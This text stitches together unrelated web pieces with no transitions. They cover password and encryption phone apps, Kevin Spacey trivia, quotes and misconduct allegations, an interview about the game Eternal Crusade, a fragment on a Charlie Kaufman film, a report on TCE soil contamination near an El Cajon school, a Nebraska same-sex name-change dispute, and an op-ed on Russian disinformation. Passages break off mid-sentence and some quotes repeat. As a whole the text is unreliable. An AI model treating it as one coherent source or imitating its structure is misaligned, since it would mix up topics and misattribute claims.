The encryption is handled directly by the smart phone or tablet, so no passwords are ever sent through the airwaves for all to see. Any file dropped into the Boxcryptor folder will be automatically encrypted and then sent to your favorite cloud storage service.
DirectPass is a very helpful app for people who need to keep track of multiple login details – providing users with the coveted “single sign on” feature we all crave.
There is a lot to like in this app security-wise – such as the secure browser (for web banking or other secure login), secure notes (for important or frequently accessed information), one-click form fill (for secure shopping), and even a keystroke encryption feature.
mSecure Password Manager is similar to DirectPass, but is geared more towards offering a secure place to store all your most important private information – such as your social security number, banking details, insurance information, and of course any login credentials.
One particular cool feature of this app is the self-destruct should someone attempt to guess your password |
dating back as far as 1992. In 2000, Spacey brought Dreyer to the Academy Awards; during the acceptance speech for his Best Actor award, Spacey stated, "Dianne, thank you for teaching me about caring about the right things, and I love you.".
On November 16 2017, the Old Vic confirmed that it had received 20 testimonies of alleged inappropriate behavior by Spacey, with three persons stating that they had contacted the police.
He was considered to play the Master in Doctor Who (1996).
On October 29, 2017, Anthony Rapp alleged that Spacey, while appearing intoxicated, made a sexual advance toward him in 1986, when Rapp was 14 and Spacey was 26. Rapp had also shared this story in a 2001 interview with The Advocate, but Spacey's name was redacted from publication to avoid legal disputes and public outing. Spacey stated through Twitter that he did not remember the encounter, but that he owed Rapp "the sincerest apology for what would have been deeply inappropriate drunken behavior" if he had behaved as asserted.
He was considered for Billy Flynn in Chicago (2002).
His first professional stage appearance was as a spear carrier in a New York Shakespeare Festival performance of Henry VI, Part 1 in 1981.
In March 2011 - following Belarusian president Alexander Lukashenko's crackdown on the Belarusian democracy movement - Spacey joined Jude Law on the street in a protest against Lukashenko's regime.
He was considered for the lead role in Batman (1989).
He is a friend of President Bill Clinton. Having met Clinton before his presidency began, Spacey once described him as "one of a shining light" in the political process. He additionally made a cameo appearance in the short film The Final Days (2000), a light-hearted political satire produced by the Clinton administration for the White House Correspondents Dinner.
In October 2008, he started the Kevin Spacey Foundation in the United Kingdom to encourage youth involvement in the arts. Headquartered in England and Wales, its purpose was to provide grants to individuals and organizations to help young people study the arts, particularly theatre. The charity shut down in February 2018 following sexual misconduct allegations against Spacey.
He was considered for John Milton in The Devil's Advocate (1997).
He was considered for Hades in Hercules (1997).
He was considered for the lead role in The Life and Death of Peter Sellers (2004).
He was originally cast as Walter McCormick in Curly Sue (1991), but had to drop out due to scheduling conflicts.
He was the first choice to play Col. William Tavington in The Patriot (2000). After paying Mel Gibson $25 million, there was not enough in the budget to pay him.
He was considered for the lead role in The Phantom of the Opera (2004).
He was considered for the lead role in Constantine (2005).
Personal Quotes (96)
[on winning the Best Actor Oscar for his performance in American Beauty (1999))] This has definitely been the highlight of my day.
[on American Beauty (1999)] I read the screenplay and nearly fell out of bed. I thought I better meet him quick before someone else read it.
[on assumptions by women that he is gay (NOTE: In 2017 he admitted that he was gay after years of unconfirmed speculation)] For them it's a challenge. They want to be the one to turn me around. I let them.
My idea of credibility is primarily self-imposed and it all relates to the thing that I've been interested in as an actor and a director, which is what are you WILLING to live with as a human being? And there's things I'm just not willing to live with--and I won't. And if it means that I stop and find something else in life that interests me or challenges me, so be it.
The less you know about me, the easier it is to convince you that I am that character on screen. It allows an audience to come into a movie theatre and believe I am that person.
Success is like death. The more successful you become, the higher the houses in the hills get and the higher the fences get.
Beyond the Sea (2004) is not a linear story at all. It's not what people will expect and it's not a biopic. It's my statement.
[2/22/05 interview in "Women's World"] If you're lucky enough to do well, it's your responsibility to send the elevator back down.
I was beginning to feel I just didn't want to go through another ten years of living in hotels, making three or four movies a year. I long for the ritual of theater. I adore it. And I want to do plays that challenge me.
The movies are not my first priority--the theater is.
If you look at how most artistic beginnings have been greeted in this country [UK], I'm in very good company. I know I'm a bigger target as long as I'm seen as a Hollywood movie star instead of as an actor of the theater, even an artistic director. They don't accept that I come in to work here every day, and have done for the last 2-1/2 years, and will continue to do so.
There is no prize out there. The only prize is this one, and what you feel and what you want to accomplish. And if you can, as you start out, these what could be lean years or could be fat years. I feel that I very often watch a lot of young people sort of meander around without any idea about why they're doing what they're doing. I mean to want and to be ambitious and to want to be successful is not enough. That's just desire. To know what you want, to understand why you're doing it, to dedicate every breath in your body to achieve... If you feel you have something to give, if you feel that your particular talent is worth developing, is worth caring for then there's nothing you can't achieve.
As far as I'm concerned, when I looked at what happened in my career in 2000--after American Beauty (1999)--I thought it couldn't get much better. What was I going to spend the rest of my life doing? Trying to top myself? Trying to stay hot, trying to make sure I was in the right movies? I don't give a shit. I'm trying to do something with my success which is bigger than myself. I'm no longer interested in my personal career. I am interested in the impact I can have on a lot of other people's careers and on audiences.
John Normington was a remarkable talent and all of us at the Old Vic are deeply saddened by his passing. We were fortunate to have John in the company of "The Entertainer", where so many audiences had the chance to see his extraordinary performance as Archie Rice's father. John brought a wide range of experience to his characters throughout a diverse and successful career that touched the lives of all who worked with him. We were honored to have enjoyed John's company for as long as we had him. His spirit and influence remained throughout and now that same spirit joins the other great actors who have played the Old Vic stage, where he will always be remembered with admiration and affection. They don't make them like him anymore. We send our love and condolences to John's partner, family and friends.
[as Artistic Director of London's Old Vic Theatre] I'm living my dream. I'm doing it the way I want to do it. I'm working with an extraordinary group of people at that theatre who are dedicated and who really have in so many ways helped us discover what our ethos is.
I was doing a play called "The Iceman Cometh" at the Old Vic, and in the middle of the quietest moment of the second act, a phone started ringing. I felt the anger starting in my toes and it came right out of my mouth, as loud as anything else I'd said on the stage, I looked out to the audience and said, "Tell them we're busy!" And it got a round of applause.
I love living in London. I can say with all sincerity that London is my home. This is my seventh year in London, fifth season at the Old Vic. I will never renounce being American but there is a part of me that is British now. I may go for dual citizenship, who knows?
[on traveling to Africa with Bill Clinton in 2002] He invited me. It was an opportunity to go to Africa, which I'd always been fascinated by. He's the first president to go there while he was in office. He went to raise money and awareness for a number of issues: AIDS, debt, economic relief. We went to seven different countries in ten days--Ghana, Mozambique, Nigeria, Rwanda, and then to the town of Johannesburg for an event with [ Nelson Mandela ]. It was just a remarkable experience.
[on undertaking dark roles] They're great parts! These are the parts audiences love to hate! First of all, you don't play a villain. You play a person who is doing things they think are quite justified. It's not one thing that makes a person do something. It's a lifetime of experience and motivations and relationships and terrors. We too often, conveniently and cutely, try to label everything so that we understand it, and there are things we'll never fucking understand. ever. All we can do is just watch them.
[on Se7en (1995)] I liked it because it was such a dangerous script and showed just what human beings are capable of. Here was a movie in which Morgan Freeman and Brad Pitt, who always win in every movie they ever do, simply don't win. I felt that was outrageous for a commercial movie... It's a great thriller or mystery, but on another level it's a film about the fact that, if you only look at a person through one lens, or only believe what you're told, you can often miss the truth that is staring you in the face. It's so easy for us to misperceive and see the things in others that we want to see. And when we're wrong, and often we're dead wrong, we miss the truth.
[on Albino Alligator (1996)] Directing a film was something I was yearning to do. I always wanted to see if I had the capacity to be a good storyteller.
Sometimes the person who is the most logical is the person whom we call insane.
I'm lucky if I find one movie a year that's worth doing, and when I do find one, it usually only takes 20-30 days to shoot.
I'm aware that, from the outside, this looks like I've got quite an ego.
[on House of Cards (2013) and Netflix] This is a really new perspective... to drop them [release the episodes] all at once but I think that's how we watch TV now. Because this is the first time they [Netflix] are doing drama, they don't even have the offices to do this compared with the other networks. I feel sorry for the makers of the third series they do--when they have the offices and [can interfere].
[on the current state of film versus TV] I was lucky to get into film at a time (the 1990s) that was very interesting for drama. But if you look now, the focus is not on the same kind of films that were made in the '90s. When I look now, the most interesting plots, the most interesting characters, they are on TV.
[on Netflix airing all 13 episodes of House of Cards (2013) at once] I think in some ways maybe this proves, with the way in which an audience has been able to find the series, that we have learned the lesson the music industry didn't learn. Give people what they want it, in the form they want it in, at a reasonable price, and they will buy it and they won't steal it.
The camera doesn't know if it's a TV camera, or a streaming camera, or. a movie camera--it is just a camera. It doesn't change our process in terms of how we work. What did change our process was that we weren't obligated or asked by Netflix to do a pilot. We were just able to get on with the story-telling from the get-go.
I'm used to people thinking I'm nuts. And you know what? I kind of love it.
[on why he hasn't made a movie since Horrible Bosses (2011)] Unless it's Martin Scorsese, and it's a really significant role, fuck off. I'm not playing someone's brother. I'm not playing the station manager. I'm not playing the FCC chairman.
[in 2014] The theater has always been dying. They've been saying that for centuries. And you know what, it just keeps limping along and doing alright. By the way, the single biggest money-making franchise in the United States is Broadway... I think, and this is my honest opinion, as long as people want to tell stories, and as long as people want to hear those stories, the theater will be alive and well for all time.
[in 2014, on the difference between working in film and on stage] Theater is my primary allegiance. And I've not only had such an extraordinary life in the theater, but I've also been given the incredible opportunity to have a life in film... But I always try to remember this: no matter how good an actor might be in [a] movie, they'll never be any better in that movie. That's it. But in theater, we can be better next Tuesday than we were this Tuesday, we can be better infinitely. It is why we call the film "Now". It's not just the first word of the first sentence of the play, it is what theater is, it's NOW, it's at this moment, it's here and it's gone. And to people who think it's the same thing every night, I always make the analogy that it's like tennis. You can go out and play tennis eight times a week. And it's always the same rules, but it's always a different game, every single time. That's what it's like, when we go on stage every night.
[in 2014] I look at the last ten years, where I've done a play every year... and I'd like to think that this decade has made me a better actor. All that work has prepared me to do the best work that I can do, and I'm pretty convinced that if I hadn't gone and done this, I wouldn't have been prepared for a thing like House of Cards (2013).
[on Horrible Bosses 2 (2014)] I think it is a little bit crazier. I'm very glad that almost everybody is back for it and I so love working with Jason Sudeikis and Jason Bateman and Charlie Day because being opposite them in a scene when they're riffing and they're [improvising] and they're trying different ways to do scenes, it is the hardest thing in the world not to absolutely lose your cookies. We spend most of our time laughing and any time somebody wants to pay me to come and laugh all day long, I'm there.
I am one of these actors where I believe very strongly that if you want to get a part, you have to do anything within reason to get that part. I admire Woody Allen so much. I was at a point where every time he announces a new movie, I never get an audition and nobody ever calls me to come in. I was like, "You know what? I am going to just write Woody Allen." So I introduced myself and sent him a Netflix subscription and said, "I don't know if you've seen my work, but you might want to watch this series." He wrote me back a warm and wonderful letter, and thanked me for the Netflix. He said he'd seen me play lots of different roles and said he absolutely would consider me in a film.
I was in a piano bar. Some guy was absolutely convinced that I was that musician... what's his name? The guy in Genesis Phil Collins! To the point that I even put on a British accent and signed a napkin as him.
My interest is not to repeat myself. There's a danger in this business. You get known for something. Then people who make movies want you to do it again and again in their movie, except their movie isn't a good one. So I resist doing the same character. American Beauty (1999) and The Negotiator (1998) were different from each other and completely different from any film or genre I've done. They were good actor's pieces. For "Negotiator", I also thought it would be really fun to see what [ Samuel L. Jackson ] and I could do with the story.
I don't care about my personal acting career anymore. I'm done with it. After 10 years of making movies and doing better than I ever could have imagined, I sort of had to ask myself: 'What am I supposed to do with all of this success that I have had?'
I have always believed that the risk takers are eventually rewarded.
Am I arrogant? I've been arrogant, sure; everybody's been arrogant.
People have different reasons for the way they live their lives. You cannot put everyone's reasons in the same box.
The process of doing a play is an organic one, and the process of doing a film is totally inorganic.
Success is like death. The more successful you become, the higher the houses in the hills get and the higher the fences get.
Directing a film was something I was yearning to do. I always wanted to see if I had the capacity to be a good storyteller.
I'm not someone who's led my life trying to get publicity; I'd rather do my work and go home.
We're all victims of our own hubris at times.
If you haven't turned rebel by twenty you've got no heart; if you haven't turned establishment by thirty you've got no brains!
Over the years, I've been trying to build a relationship with an audience. I've tried to maintain as much of a low profile as I could so that those characters would emerge and their relationship with audiences would be protected.
If someone can watch an entire season of a TV series in one day, doesn't that show an incredible attention span?
Maybe there are people who are gamers who haven't seen movies I have made, or the movies I have made have made no impression on them at all.
For kids growing up now, there's no difference watching Avatar (2009) on an iPad or watching YouTube on TV or watching Game of Thrones (2011) on their computer. It's all content. It's just story.
Give people what they want, when they want it, in the form they want it in, at a reasonable price, and they'll more likely pay for it rather than steal it. Well, some will still steal it, but I think we can take a bite out of piracy.
I find it sad that by not talking about who I sleep with, that makes me mysterious. There was a time when I would have been called a gentleman.
I'm not out there trying to get press for myself nor am I trying to convince anybody that I'm living any kind of a life. I'm actually trying to convince people: I don't want you to know what I'm living, because it's none of your business.
If you're lucky enough to do well, it's your responsibility to send the elevator back down.
I don't watch rugby.
Clearly the success of the Netflix model, releasing the entire season of House of Cards (2013) at once, proved one thing: The audience wants the control. They want the freedom. If they want to binge as they've been doing on House of Cards and lots of other shows, we should let them binge.
In film, movies' schedules are based on three things: actors' availabilities, when are sets being built, when you can rent the place you're going to film in.
I went through a period of great rebellion within my family, when I was about 9 or 10. I was mad, I had no focus, had no real interest in anything, and so I started to do things that were just rebellious and stupid.
I would love to do much more singing; it's just one of those things where I can't quite describe what it feels like when you're standing in front of a forty piece orchestra, and there's nothing between you and an audience but a microphone. It's like strapping yourself to a locomotive, and I love it.
I was on a couple of scholarships. I had a job in the school administrative office. I had a job as a hat-check boy in a restaurant. I had another job as an assistant to a casting director. It took a lot to get myself enough money to put myself through Juilliard.
Living in London has become incredible. I suppose it's easy to love where you live if you love what you're doing. But this is not just a visit: it's my home.
It takes stamina to get up like an athlete every single night, seven to eight performances a week, 20 weeks in a row. And there are many young performers who only learn their craft in the two minute bits it takes to film a scene. You never learn the arc of storytelling, the arc of a character that way.
I've been trying to take this journey over the last four years of getting away from playing manipulative and villainous characters and playing characters that are affected by what happens to them as opposed to unaffected.
I've been on sets where things weren't relaxed because someone was creating tension for no reason.
There are good people in the lobbying industry. Lobbyists can serve a very useful purpose.
I believe this: If an actor wants a role or wants to work with somebody, then you do everything within reason to try to get that role. If they want you to audition, you audition. If they want you to screen-test, you screen-test. If they want you to come and tap-dance in their hallway, you tap-dance in their hallway.
I mean we all played as kids. You play games, you take on different characters, you imitate; the fun and the love of play has never left me.
When you're just able to distill it down to the idea and the feeling that a character is experiencing in a scene, it can become very, very razor sharp and really clean and really efficient and simple. And sometimes it takes twenty-five years to learn how to be simple.
As the years have gone on, I find one of the dangers of watching dailies... is you fall in love with moments.
I've always found it strange that a director can hire any designer he wants from any country. But if he hires a foreign actor, it's like he's stolen the crown jewels and run across the river with them.
Am I now supposed to go on Oprah and cry and tell you my deepest, darkest secrets because you want to know?
I was not a studious kid, and I struggled to find things that would command my attention and engage my ideas and energies.
As long as we, in the United States, continue to insist that our politicians have to spend all of their time raising millions of dollars for television ads, it will be corrupt. If we leave it up to the politicians to clean up lobbying and finance reform, nothing is going to change.
One can never take the cynicism one comes across in life too seriously.
I open myself up every time I walk on screen and give you everything that I am. There are parts of me that are in every movie that I've done. That to me is what my job is.
If you look back through history in the United States, there have been very few landslide elections. Half the country always voted for someone else.
Life's all about perceptions.
No matter how good you might be in a movie, you'll never be any better. But in a play, I can be better next Tuesday. That's the thrill of it.
If you're watching a film on your television, is it no longer a film because you're not watching it in a theatre? If you watch a TV show on your iPad, is it no longer a TV show? The device and the length are irrelevant; the labels are useless, except perhaps to agents and managers and lawyers, who use these labels to conduct business deals.
My life will change, because I want it to change; and also because this is something I'm committed to doing and that I believe my life has been leading towards.
Sometimes it's the crazy people who turn out to be not so crazy.
At the end of the day, people have to respect people's differences. I am different than some people would like me to be.
When you study, as I did, every theatrical beginning in this country, none of them have been greeted well. The Royal Shakespeare Company was a disaster, Peter Hall was a disaster, Richard Eyre was a disaster, Trevor Nunn was always a disaster.
The stigma that used to exist many years ago, that actors from film don't do television, seems to have disappeared. That camera doesn't know it's a TV camera... or even a streaming camera. It's just a camera.
One of the tasks that any artistic director has is, you're trying to bring elements together that will work. The truth is that you could bring all the best talents in the world together and produce a big turkey.
Where the gaming world is going - and certainly Activision proved it by hiring me - is being willing to push and bend and move in a new direction of actually capturing the character and storytelling.
Some politicians that I've seen have been brilliant with the public. They almost speak with the skill of an actor.
I'm supposed to convince you, for two hours, that I'm somebody else. Now if you know everything about my life, if you think you've got me figured out and you think you know all my dark secrets, how am I ever going to convince you that I'm somebody else?
I've been intrigued by politics my whole life. And, yes, I am very close to the Clintons. I was a Hillary person until I was an Obama person. And she was a Hillary person, too, until she was an Obama one, evidently.
You have to always be ready, always be alive, and always be willing to move in a new direction.
What's my favourite book? It changes all the time.
I cotton to the idea that people are much closer to being flawed; they have problems and don't always make the right choices.
I couldn't imagine something asking as much of me as House of Cards (2013). It's a great warm-up for coming back to the screen.
What hasn't surprised me is that audiences, as we found starting with box sets, want control, to decide how they watch it. Appointment viewing is slowly being put slightly behind.
It's always the big question in our lives if you have a lot of success. What do you do with it? Buy more houses, buy more cars, buy more stuff, be wealthy and distant and unengaged? Or do you take all that good fortune that has come towards you and spread the love, do something with it?
Salary (1)The Eldar are coming.
Play it with us! Play Eternal Crusade at the PC Gamer Weekender in London from March 5-6. Click here to find out more.
Sprinkled across the loading screens and chapter headings of Warhammer 40,000 games you often see cheery thoughts of the day from the Imperium of Man, its dystopian fascist future of humanity. According to one of them, “Hope is the first step on the road to disappointment.”
That will be a sentiment familiar to anyone who followed Dark Millennium Online, the Warhammer 40,000 MMORPG that Vigil Games were developing before publisher THQ went bankrupt. To be honest it’s a sentiment anyone who follows the development of MMOs will know well. It’s not usually a genre where it’s worth getting your hopes up early.
And yet, there’s hope for Warhammer 40,000 fans coming from an unexpected source. Canada’s Behaviour Interactive isn’t known to many unless it’s as the company that used to be A2M—until somebody googled the name realized it referred to something pornographic. For the last two years Behaviour has been working on a Warhammer 40,000 MMO that’s recently made it into Early Access on Steam. Eternal Crusade isn’t a standard MMORPG though, as executive producer Nathan Richardsson and lead designer Brent Ellison are at pains to explain.
“We don’t have mission-givers with a question mark on top of their heads!”
“We don’t have mission-givers with a question mark on top of their heads!” Richardsson says. Instead Eternal Crusade will be a game about territorial conquest, the map split up into sectors that can be taken over by its four factions. It sounds a lot like Planetside, but if you fire Eternal Crusade up now what you’ll be playing is something closer to the early Battlefield, games with 16-a-side matches that see the two currently available factions fighting over a handful of control points rather than a persistent world.
“The Early Access alpha is very much like a lobby shooter,” Richardsson explains, “because that’s what we want, to get the core shooter first, right? If that doesn’t work the rest of the MMO doesn’t matter at all, it’s going to be a boring game.”
“Right now we’re just doing individual matches and stuff,” says Ellison, “but in the game every battle takes place at a point that’s on the strategic layer of the map, and will cause territories to flip and ownership to change. On top of that we’ve got a social area where you can go to train and have other people around, we’ve got persistent character progression, we’ve got PvE challenges.”
Those PvE challenges will be where the Tyranids come in, NPC alien bug-dinosaurs who live under the surface of the planet everyone else is fighting over and who can be fought in co-op missions a little like a game of Left 4 Dead. “Certain territories can start to have an infestation level and in order to clear it out you do these underground missions against Tyranids with your faction,” Ellison says. “You take up to five people initially, we’ll expand to more later, but you take up to five people in, complete a series of objectives while Tyranids are spawning on top of you. It’s not just about slaying the Tyranids, it’s about completing the objectives. More like Mass Effect 3.”
Combined with the planned social space and training area, Eternal Crusade will be the kind of MMO that’s about letting groups of friends get together and then play multiple modes, “which is basically the same as model as Destiny,” as Richardsson puts it. (“Guild Wars 1 actually,” Ellison interrupts.)
Introducing the Eldar
concept art
The two playable factions in Eternal Crusade right now are the Space Marines and Chaos Space Marines, with the Eldar to be added next, followed by Orks (and more after launch). The Eldar are an unusual species in Warhammer 40,000—basically theatrical zen space elves. The long-lived survivors of a fallen empire that grew so decadent it accidentally birthed a god of sadomasochistic pleasure, the Eldar protect themselves from falling back into their bad old ways through ascetic devotion and focus, making them hyper-specialized.
That’s an easy philosophy to translate into game terms. “We have seven different classes for the Eldar,” says Ellison, “which is more than we have for the rest of them, and each of them has a very specific role. They have a few weapons available to them but fewer than you would see on Space Marines or Orks or whatever. To give an example, the Howling Banshees are good at one thing—that’s charging at the enemy and chopping them up. So we’re giving them tools they need to do that, but that’s exactly what the Howling Banshees do and if they try to do anything else they’re going to be in trouble.”
The other classes available to Eldar will be Dire Avengers, point-capturing troops armed primarily with shuriken catapults, Fire Dragons, who have anti-vehicle ‘melta’ weapons, Warlocks for psychic support, Dark Reapers with heavy weapons, Striking Scorpions for melee infiltration, and the gliding Swooping Hawks who excel at aerial harassment. “That’s the key there, maneuverability and specialization. When I say maneuverability I also mean they will be able to turn faster, move faster, that sort of thing.”
Motion capture for the Eldar was completed in December, and Ellison was impressed with the results. “The stuff that the actress was able to pull off was awesome, the wirework and things like that, really cool. A bit more inspired by Platinum Games and stuff like that as opposed to the brawlers that the Space Marines and Chaos are.”
True to the setting, with its chainswords and power fists, Eternal Crusade is a shooter where hand-to-hand combat is important. If you ever played the multiplayer in Relic’s third-person action game Warhammer 40,000: Space Marine there’s been direct inspiration taken from that, and your first death will probably be to someone with a jump pack plummeting out of the sky to cut you in half. (Your second and third deaths are liable to be similar.)
“When you play the classes which are heavily melee-based they aren’t just limited to a very simple play experience,” Richardsson says. “It’s deeper than you see in other games which are shooters. We’re not a melee-only game which has very complex systems, but as Brent likes to explain when you have ranged weapons and melee at the same time you’re not gonna see a duel at dawn where they’re standing against each other for 12 minutes because someone’s going to run by and shoot you.”
“Just approaching the enemy in the context of a battle that’s going on around you with tanks and sniper rifles and everything is part of the challenge,” Ellison adds. As for those tanks, the Eldar apparently hate wheels. All of their vehicles either walk or float. While the Marine vehicles trundle around on their frumpy treads the Eldar will have fashionably hovering ‘grav tanks’ in the colors of their sub-factions.
Each faction currently has five sub-factions to choose from, which will eventually have their own combat barks, equipment options, and branches in the progression trees. Primarily they’re a cosmetic difference, but a characterful one. “We did this event to have the players pick what the fifth sub-faction would be for each of the factions and for the Eldar they picked the Altansar,” says Ellison. “Their Craftworld was trapped in the Eye of Terror for centuries and they only recently came out. As a result of their experiences there they only speak in whispers and they never remove their helmets. We’re going to respect that so they’re getting their own voice pack.”
“But they suck at communication because they whisper,” Richardsson adds. “You can hear them say INCOMING! with a grenade, it’s like incomiiing,” he whispers. “Then they blow up. So that’s their flavor. No, I’m kidding.”
Eternal means forever, right?
As an MMO Eternal Crusade will of course continue to grow after its launch, with a plan to leave Early Access later this year. “We have free expansions every three months, that’s our goal here in terms of adding more things,” Richardsson says. One of the first of these will be the heavy armor Terminator class. For the Eldar, that class will take the shape of the Wraithguard, who are robots made of psycho-plastic material piloted by spirits of the dead. So that’s nice.
Another planned post-launch feature will be a free-to-play mode that allows players to try Eternal Crusade without buying it, but limits them to playing as Ork Boyz, the cannon fodder hooligans of the game’s fourth faction. “It’s not going to be at launch, simply because we serve our paying customers first,” says Richardsson. Free-to-play Orks were announced when Behaviour was aiming to have battles with “a thousand Orks just coming at you” but expectations have had to be reduced. While players will eventually see bigger conflicts than the current 16-a-side scrums, the technology isn’t there to simulate the full Green Tide of the Orks.
I’d say we have a very mature audience right now, which has been around for a long time with Warhammer.
There’s another terrifying influx coming though, and that’s one of humans. Eternal Crusade recently jumped from closed alpha to an open one which bumped up player numbers, and there will be another bump when it’s released. Anyone who plays online games will be familiar with the phenomenon of a game’s friendly community of early adopters turning toxic as it grows larger. Will that happen to Eternal Crusade?
“Nah, I have no idea what you’re talking about! There’s only nice people on the internet,” says Richardsson with a laugh. “It’s a good question. I’d say we have a very mature audience right now, which has been around for a long time with Warhammer, right? But opening it up to a larger audience doesn’t equal everything going haywire and it becoming horrible. You won’t even get that far in the gameplay that we’re trying to foster and reward in the game itself by being an asshole. While we can’t change the world we can do our part to encourage certain behavior at least in-game.”
“One of the big benefits of early access will be us figuring out all the things that can go wrong as players try to do terrible things,” says Ellison, “so I think we anticipate putting in more and more measures to counter really the worst stuff, like griefing, team-killing, etcetera.”
To get to the point where that’s really a concern they’ll need to make it to launch, which some fans burned by Dark Millennium Online have been publicly doubtful about. “People ask us, why are you going into Early Access, do you lack money?” says Richardsson. “There’s a lot of different reasons. Do we need money? No, we are funded till our launch this year. Would we like more money? Well, of course. What a silly question; then we can do more as part of the launch.”
He sighs. “Everybody is afraid that we’re gonna blow up like other 40K games.”
“We would already have blown up,” says Ellison. “We’ve had opportunities to blow up, but we haven’t blown up yet.”We already knew a little bit about Frank or Francis, Charlie Kaufman‘s second directorial effort after his insanely ambitious, gloriously bizarre Synecdoche, New York. Basically, we were aware that it existed, that Nicolas Cage, Steve Carrell, and Jack Black had signed on, and that the film would revolve primarily around the feud between an Internet blogger and a Hollywood director. But this being Kaufman, of course |
through filters and vent over the roofs.
But the map also shows the keen flow of the plume beneath manufactured homes in a mobile home park adjacent to the school. No action and little testing have taken place there – until now.
The California Department of Toxic Substances Control issued a notification Oct. 6 after a contractor tested soil there and found TCE levels that left no doubt further testing should be done.
“We collected data near the mobile homes along the property boundary and concentrations were detected at 5 feet below ground surface that are at level that may result in what we consider a significant risk to residents,” said Shahir Haddad, a supervising engineer for DTSC.
One probe measured 560 micrograms of TCE per liter of soil gas. Soil gas is the air in spaces between soil particles. It can be extracted and analyzed. For comparison, the California Office of Environmental Health Hazard Assessment, the state’s environmental health science agency, shows a screening level on its website of.53 micrograms TCE per liter of soil gas. A screening level is the line above which more testing is warranted. The highest sample, then, was more than 1,000 times the screening level.
Haddad says now the air in the mobile homes should be tested.
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In the 1960s a company called Ametek Inc. took over operation of an aerospace manufacturing firm on Greenfield Avenue in El Cajon. It used a hole in the ground 10 feet deep and 12 feet in diameter, lined with redwood planks and a concrete floor, to dispose of acids and solvents. The practice continued into the 1980s, according to documents from the San Diego Regional Water Quality Control Board, which fought to get the plume delineated and addressed for years.
Ametek legal documents refer to the sump as a collection tank. Whatever its name, the solvents flowed into the soil, into groundwater and traveled downslope.
The tank was closed and 200 cubic yards of contaminated soil removed in 1988, according to company filings. Ametek as a business split at that time also. Liability for the environmental legacy was assigned to a new public firm, Ketema, which is Ametek spelled backward. When that company went bankrupt in 2007, Ametek “stepped in to take responsibility for environmental monitoring and activities,” Thomas Deeney, vice president for corporate compliance, said in a written statement.
Ametek has paid for the ventilation system at Magnolia Elementary and also pays for continued monitoring at the school. It was an Ametek contractor that sampled the soil gas, leading to the notification.
TCE is a carcinogen and developmental and reproductive toxicant, if people are exposed to enough of it over time.
“Developmentally you have hazard of miscarriages and decreased birth weight of children,” said John Budroe, senior toxicologist with the state environmental health agency.
With respect to cancer, “There is strong evidence you can increase kidney cancer in people and some evidence of liver cancer and malignant lymphoma which is a blood cancer.”
TCE can also lower reproductive hormone levels in men, reduce sex drive and reduce sperm quality, he said.
The substance doesn’t necessarily stay in the soil or water. It can evaporate out of liquid form and migrate through cracks in a concrete slab and into a home or other building.
Several people at the mobile park said they’ve not been told that the plume runs under their homes. Most did not want to give their names.
Jean Janke, a resident who cares for her disabled son, said seeing the work taking place at the school left an impression on her. “I thought ‘well that is pretty close.’ If there is something wrong there, I would automatically think it would be here too.”
Her home is a straight shot of approximately 800 feet from the probable site of the former disposal hole, based on a map of well monitoring results.
Deeney, the Ametek vice president, said in his statement the company will carry out testing in the crawl spaces and inside homes in the mobile park, if it obtains such permission. The Proposition 65 warning from Department of Toxic Substances Control, he said, was made “in an abundance of caution, not because hazardous levels of any chemicals had been found in the indoor air of an existing, occupied structures.”
Residents at the mobile park will be told of the testing results. The county water board is arranging a location and time, the agency’s Sean McClain said in an email.
The DTSC official who issued the notice sought to assure residents. “If we see any concentration indoors, we will act on it,” Haddad said.Backlit lesbian couple close together outdoors (Shutterstock)
The state of Nebraska has refused to give a woman who was born there a driver’s license or even recognize her name because she is married to another woman.
Sue Stroesser told The Omaha World-Herald that she had no trouble getting a driver’s license at the age of 16, but the state has refused to give her one at the age of 51.
Sue and Mary Stroesser have been together for 30 years, were married in Iowa in 2009, and recently moved back to Nebraska. When she went to the DMV last month to get her Nebraska driver’s license, she was told that her Iowa marriage license could not be accepted as proof of her name change.
Nebraska passed a constitutional amendment in 2000 that prevents the state from recognizing same-sex marriages.
But Sue pointed out that her Iowa driver’s license, her Social Security card, her passport, and credit cards all say that her last name is Stroesser.
“I have a Nebraska state license to practice in my health care profession,” she noted. “I work in Nebraska as a Stroesser. I have paid Nebraska taxes for three years as a Stroesser. And I’m denied a driver’s license?”
Without a Nebraska driver’s license, Sue has had problems opening a bank account, and changing her car insurance from Iowa to Nebraska.
Nebraska Department of Motor Vehicle Director Rhonda Lahm explained to the World-Herald that the DMV staff had acted correctly.
“We have to follow the Constitution, and can’t recognize a marriage license for two persons of the same gender,” she insisted.
According to the DMV, Sue’s only recourse is to go through the expensive and time consuming process of legally changing her name in court.
“I’ve been a Stroesser for a long time. I’m not asking for recognition of my marriage with Mary,” she said. “I am asking for state identification with my current legal name.”
Watch the video below about the fight for marriage equality in Nebraska.
[Photo: Back lit lesbian couple close together outdoors via Shutterstock.com]The threat to the West posed by Kremlin lies—what is properly termed disinformation—is something that I and a few other specialists have raised the alarm over for years. After 2016, when Moscow weaponized disinformation to influence our presidential election, this problem is finally getting the public attention it merits, not least because identical Russian espionage techniques are currently aimed at France and Germany, which have their own elections coming up.
The previous administration ignored this rising problem, shuttering a tiny State Department effort to counter Russian propaganda only months before the Kremlin lie machine went into overdrive against President Obama’s own party. As I’ve pointed out, Obama and his White House bear part of the blame for the Russian havoc wrought last year on Hillary Clinton and the Democratic National Committee, thanks to their abject unwillingness to confront Vladimir Putin. By refusing to seriously confront Kremlin disinformation and deception, President Obama got more of both.
Now this problem, which shows no signs of going away, has become even more dangerous, since the new administration has taken to parroting Russian disinformation when it suits their political needs. A propaganda loop has emerged with Kremlin lies emerging on Putin regime outlets like RT and Sputnik, then being pushed by far-right conspiracy websites such as Breitbart and InfoWars, and finally winding up on Fox News where they receive a mass audience.
President Donald Trump is part of that audience, and this disinformation cycle is what led to his infamous tweetstorm two weekends ago that plunged our politics into chaos over his unfounded allegation that his predecessor “wiretapped” Trump Tower. That narrative has now utterly imploded, having been denounced by numerous authorities—including the former Director of National Intelligence plus the House and Senate Intelligence Committees—while late last week British intelligence and the prime minister office joined the fray after the White House implied that London had spied on Trump Tower at Obama’s behest.
That unfounded accusation deserved the stern, unprecedented rebuke it got from our British spy “cousins,” which was backed up by the deputy director of the National Security Agency, Rick Ledgett. In a remarkable interview Ledgett described the allegation as “arrant nonsense…just crazy” while the whole idea demonstrated “a complete lack of understanding in how the relationship works” between NSA and GCHQ, its British counterpart. Furthermore, he went on, “It would be epically stupid” for GCHQ to have broken numerous laws to meddle in American politics.
